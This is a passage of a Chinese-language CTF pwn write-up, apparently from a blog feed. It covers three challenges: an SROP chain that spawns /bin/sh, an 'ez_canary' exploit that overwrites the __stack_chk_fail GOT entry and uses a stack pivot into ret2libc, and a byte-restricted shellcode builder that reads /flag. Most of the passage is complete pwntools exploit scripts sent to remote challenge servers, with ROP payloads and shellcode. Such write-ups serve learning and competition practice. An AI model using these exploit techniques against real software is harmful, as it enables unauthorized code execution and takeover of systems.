payload = flat([b&apos;a&apos;*0x28,add_rbx_rdx_ret,add_rbx_rdx_ret,add_rbx_rdx_ret,add_rbx_rdx_ret,add_rbx_rdx_ret,add_rbx_rdx_ret,
                pop_rbp,0x404018+0x3d,magic,magic,magic,magic,magic,magic,magic,magic,magic,magic,magic,magic,magic,magic,magic,elf.sym[&apos;main&apos;]
                ])
# gdb.attach(io)

io.sendline(payload)

payload = flat([b&apos;a&apos;*0x28,xor_rbx_ret,add_rbx_rdx_ret,add_rbx_rdx_ret,add_rbx_rdx_ret,add_rbx_rdx_ret,
                pop_rbp,0x404065,magic,magic,elf.sym[&apos;main&apos;]
                ])
io.sendline(payload)


payload = flat([b&apos;a&apos;*0x20,bss-0x20,0x4011DD])
io.sendline(payload)

sigret_frame = SigreturnFrame()

sigret_frame.r15 = bss-0x40
sigret_frame.rsi = 0
sigret_frame.rdx = 0
sigret_frame.rsi = 0x404a00 
sigret_frame.rcx = 0x404a00 
# sigret_frame.rsp = 0x4011CD
sigret_frame.rsp = 0x4011CD
sigret_frame.eflags = 0x33

payload = flat([b&apos;/bin/sh\x00&apos;,b&apos;a&apos;*0x18,ret,ret,srop,sigret_frame])
io.sendline(payload)




io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ez_canary&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;如果一开始就进入gift的话无法通过canary检验&lt;/li&gt;
&lt;li&gt;看一下buf的位置&lt;code&gt;  __int64 buf_; // [rsp+30h] [rbp+0h] BYREF&lt;/code&gt;,可以直接覆盖rbp和ret_addr&lt;/li&gt;
&lt;li&gt;通过&lt;code&gt;read(0, &amp;amp;buf_, 0x10u);&lt;/code&gt;调用gift中的read修改&lt;code&gt;__stack_chk_fail.got&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;要注意我们修改的时候要进行栈迁移，不能修改read和puts的got表，从&lt;code&gt;0x404020 setsockopt &lt;/code&gt;开始可以满足我们栈迁移的要求&lt;/li&gt;
&lt;li&gt;将&lt;code&gt;__stack_chk_fail.got&lt;/code&gt;修改为ret即可，栈迁移到0x404a00打ret2libc&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
import sys

context.log_level = &apos;debug&apos;
context.arch = &apos;amd64&apos;
binary_path = &apos;./server&apos;
libc = ELF(&quot;./libc-2.31.so&quot;)

elf = ELF(binary_path)
gift = 0x401451
stack_fail_got = elf.got[&apos;__stack_chk_fail&apos;]
read = 0x40156E
leave_ret = 0x40147C
pwn_hander = 0x40147E
pop_rdi = 0x401893
pop_rsi_r15 = 0x401891
ret = 0x40101a
pop_rbp = 0x40141d
gdb_script = &apos;&apos;&apos;
set follow-fork-mode child
b *0x40143E
b pwn_handler
b *0x401583
c
&apos;&apos;&apos;



def pwn():
    # time.sleep(1)
    p = remote(&quot;60.205.163.215&quot;,10127)
    p.recvuntil(b&quot;functions?&quot;)
    p.sendline(b&quot;2&quot;)

    fake_rbp = stack_fail_got + 0x20
    
    payload1 = flat([
        fake_rbp,    
        gift      
    ])
    p.send(payload1) 
    
    payload2 = flat([ret,gift])
    p.send(payload2)

    payload2 = flat([ret,ret,ret,ret,ret,ret,ret,pop_rbp,0x404a00,gift])
    p.send(payload2)
    pause()
    payload3 = flat([b&apos;a&apos;*0x30,ret,ret,ret,pop_rdi,elf.got[&apos;puts&apos;],elf.plt[&apos;puts&apos;],pop_rbp,0x404a00,gift,0x404a00])
    p.sendline(payload3)
    
    p.recvuntil(&apos;This is canary!&apos;)

    
    
    p.recvuntil(b&quot;[Server]: &quot;)
    put_addr = u64(p.recvuntil(b&apos;\n&apos;, drop=True).ljust(8,b&apos;\x00&apos;))
    # put_addr = u64(p.recvuntil(&quot;\n&quot;,drop = 1).ljust(8,b&apos;\x00&apos;))
    log.success(f&apos;puts ==&amp;gt; {hex(put_addr)}&apos;)
    libc.address = put_addr - libc.sym[&apos;puts&apos;]
    log.success(f&apos;libc ==&amp;gt; {hex(libc.address)}&apos;)
    
    payload4 = flat([b&apos;a&apos;*0x30,ret,ret,ret,ret,pop_rdi,libc.search(b&apos;/bin/sh&apos;).__next__(),libc.symbols[&apos;system&apos;]])
    p.sendline(payload4)
    
    p.interactive()
    # io.interactive()

if __name__ == &apos;__main__&apos;:
    pwn()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;shellcode&lt;/h2&gt;
&lt;p&gt;题目要求：&lt;/p&gt;
&lt;p&gt;两轮运行：需提交两段 Shellcode。&lt;/p&gt;
&lt;p&gt;字节隔离：Round 2 的字节集不能包含 Round 1 用过的任何字节。&lt;/p&gt;
&lt;p&gt;总量限制：两轮使用的唯一字节种类总和 &amp;lt; 16&lt;/p&gt;
&lt;p&gt;直接写 ORW 无法满足限制。解法是编写两段 &quot;Builder&quot;，利用极少的指令在内存中算出并写入真正的 Payload，然后滑行执行。&lt;/p&gt;
&lt;h3&gt;核心 Payload (通用)&lt;/h3&gt;
&lt;p&gt;由于 &lt;code&gt;rsp=0&lt;/code&gt;，必须先修复栈指针。利用 &lt;code&gt;rdx&lt;/code&gt; (R1) 或 &lt;code&gt;add rax, rdx&lt;/code&gt; (R2) 恢复出的指针：&lt;/p&gt;
&lt;p&gt;代码段&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov rsp, rdx      ; 恢复栈底
add rsp, 0x1000   ; 栈平衡到安全区
/* ... 标准 Open/Sendfile ... */
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3. 字节集构造&lt;/h2&gt;
&lt;h3&gt;Builder A (基于加法)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;字节集 (6种)&lt;/strong&gt;: &lt;code&gt;{fe, c0, 00, 02, c2, c6}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;逻辑:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;inc al&lt;/code&gt; / &lt;code&gt;add al, al&lt;/code&gt; : 凑出 Payload 字节。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;add [rdx], al&lt;/code&gt; : 写入内存。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;inc dl&lt;/code&gt; : 移动指针。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Builder B (基于异或)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;字节集 (9种)&lt;/strong&gt;: &lt;code&gt;{30, 18, 80, c3, c4, 01, 04, 48, d0}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;逻辑:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;add rax, rdx&lt;/code&gt; (&lt;code&gt;48 01 d0&lt;/code&gt;): 关键修复。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;add bl, IMM&lt;/code&gt; : 凑数。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xor [rax], bl&lt;/code&gt; : 写入内存。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;add al, 1&lt;/code&gt; : 移动指针。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;
from pwn import *
import collections

context.arch = &apos;amd64&apos;

def get_shortest_path_a(start_val, target_val):
    queue = collections.deque([(start_val, b&quot;&quot;)])
    visited = {start_val}
    while queue:
        curr, path = queue.popleft()
        if curr == target_val: return path
        nxt_double = (curr * 2) &amp;amp; 0xFF
        if nxt_double not in visited:
            visited.add(nxt_double)
            queue.append((nxt_double, path + b&apos;\x00\xc0&apos;))
        nxt_inc = (curr + 1) &amp;amp; 0xFF
        if nxt_inc not in visited:
            visited.add(nxt_inc)
            queue.append((nxt_inc, path + b&apos;\xfe\xc0&apos;))
    return b&quot;&quot;

def get_shortest_path_b(start_val, target_val):
    allowed_imms = [0x30, 0x18, 0x80, 0xc3, 0xc4, 0x01, 0x04, 0x48, 0xd0]
    queue = collections.deque([(start_val, b&quot;&quot;)])
    visited = {start_val}
    while queue:
        curr, path = queue.popleft()
        if curr == target_val: return path
        for imm in allowed_imms:
            nxt = (curr + imm) &amp;amp; 0xFF
            if nxt not in visited:
                visited.add(nxt)
                queue.append((nxt, path + b&apos;\x80\xc3&apos; + bytes([imm])))
    return b&quot;&quot;
=
def exploit():
    print(&quot;[*] Generating Final Shellcodes...&quot;)
    GAP_SIZE = 0x800 
    
    payload_asm = f&quot;&quot;&quot;
        mov rsp, rdx      /* Safe Stack Pivot */
        add rsp, 0x1000   /* Skip ahead to safe area */
        
        /* open(&quot;/flag&quot;, 0) */
        mov rax, 0x67616c662f
        push rax
        mov rdi, rsp
        xor rsi, rsi
        mov eax, 2
        syscall
        
        /* sendfile(1, fd, 0, 100) */
        mov rsi, rax
        mov rdi, 1
        xor rdx, rdx
        mov r10, 100
        mov eax, 40
        syscall
        
        /* exit */
        mov eax, 60
        syscall
    &quot;&quot;&quot;
    payload = asm(payload_asm)

    builder_a = b&apos;\xfe\xc6&apos; * 8 # rdx += 2048
    current_val = 0
    for byte in payload:
        builder_a += get_shortest_path_a(current_val, byte)
        current_val = byte
        builder_a += b&apos;\x00\x02&apos; + b&apos;\xfe\xc2&apos;
    while len(builder_a) &amp;lt; GAP_SIZE:
        builder_a += b&apos;\xfe\xc0&apos;

    builder_b = b&apos;\x48\x01\xd0&apos; 
    

    builder_b += b&apos;\x80\xc4\x08&apos; 
 
    builder_b = b&apos;\x48\x01\xd0&apos; + (b&apos;\x80\xc4\x01&apos; * 8)
    
    current_val = 0
    for byte in payload:
        builder_b += get_shortest_path_b(current_val, byte)
        current_val = byte
        builder_b += b&apos;\x30\x18&apos; + b&apos;\x04\x01&apos;
        

    needed = GAP_SIZE - len(builder_b)
    if needed % 2 != 0: builder_b += b&apos;\x80\xc3\x01&apos;
    while len(builder_b) &amp;lt; GAP_SIZE: builder_b += b&apos;\x04\x01&apos;

    set_a = set(builder_a)
    set_b = set(builder_b)
    print(f&quot;Set A ({len(set_a)}): {[hex(x) for x in set_a]}&quot;)
    print(f&quot;Set B ({len(set_b)}): {[hex(x) for x in set_b]}&quot;)
    
    if len(set_a &amp;amp; set_b) &amp;gt; 0:
        print(&quot;[-] CONFLICT: Sets intersect!&quot;, set_a &amp;amp; set_b)
        return
    if len(set_a | set_b) &amp;gt;= 16:
        print(f&quot;[-] ERROR: Too many unique bytes! ({len(set_a | set_b)})&quot;)
        return

    print(&quot;[+] Check passed. Sending...&quot;)
    try:
        # p = process([&apos;python3&apos;, &apos;chal.py&apos;]) # 本地
        p = remote(&apos;60.205.163.215&apos;, 49715) # 远程
        
        p.recvuntil(b&apos;hex(0/2):&apos;)
        print(&quot;[*] Sending Round 1...&quot;)
        p.sendline(builder_a.hex().encode())
        
        p.recvuntil(b&apos;hex(1/2):&apos;)
        print(&quot;[*] Sending Round 2...&quot;)
        p.sendline(builder_b.hex().encode())
        
        p.interactive()
    except Exception as e:
        print(e)

if __name__ == &quot;__main__&quot;:
    exploit()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>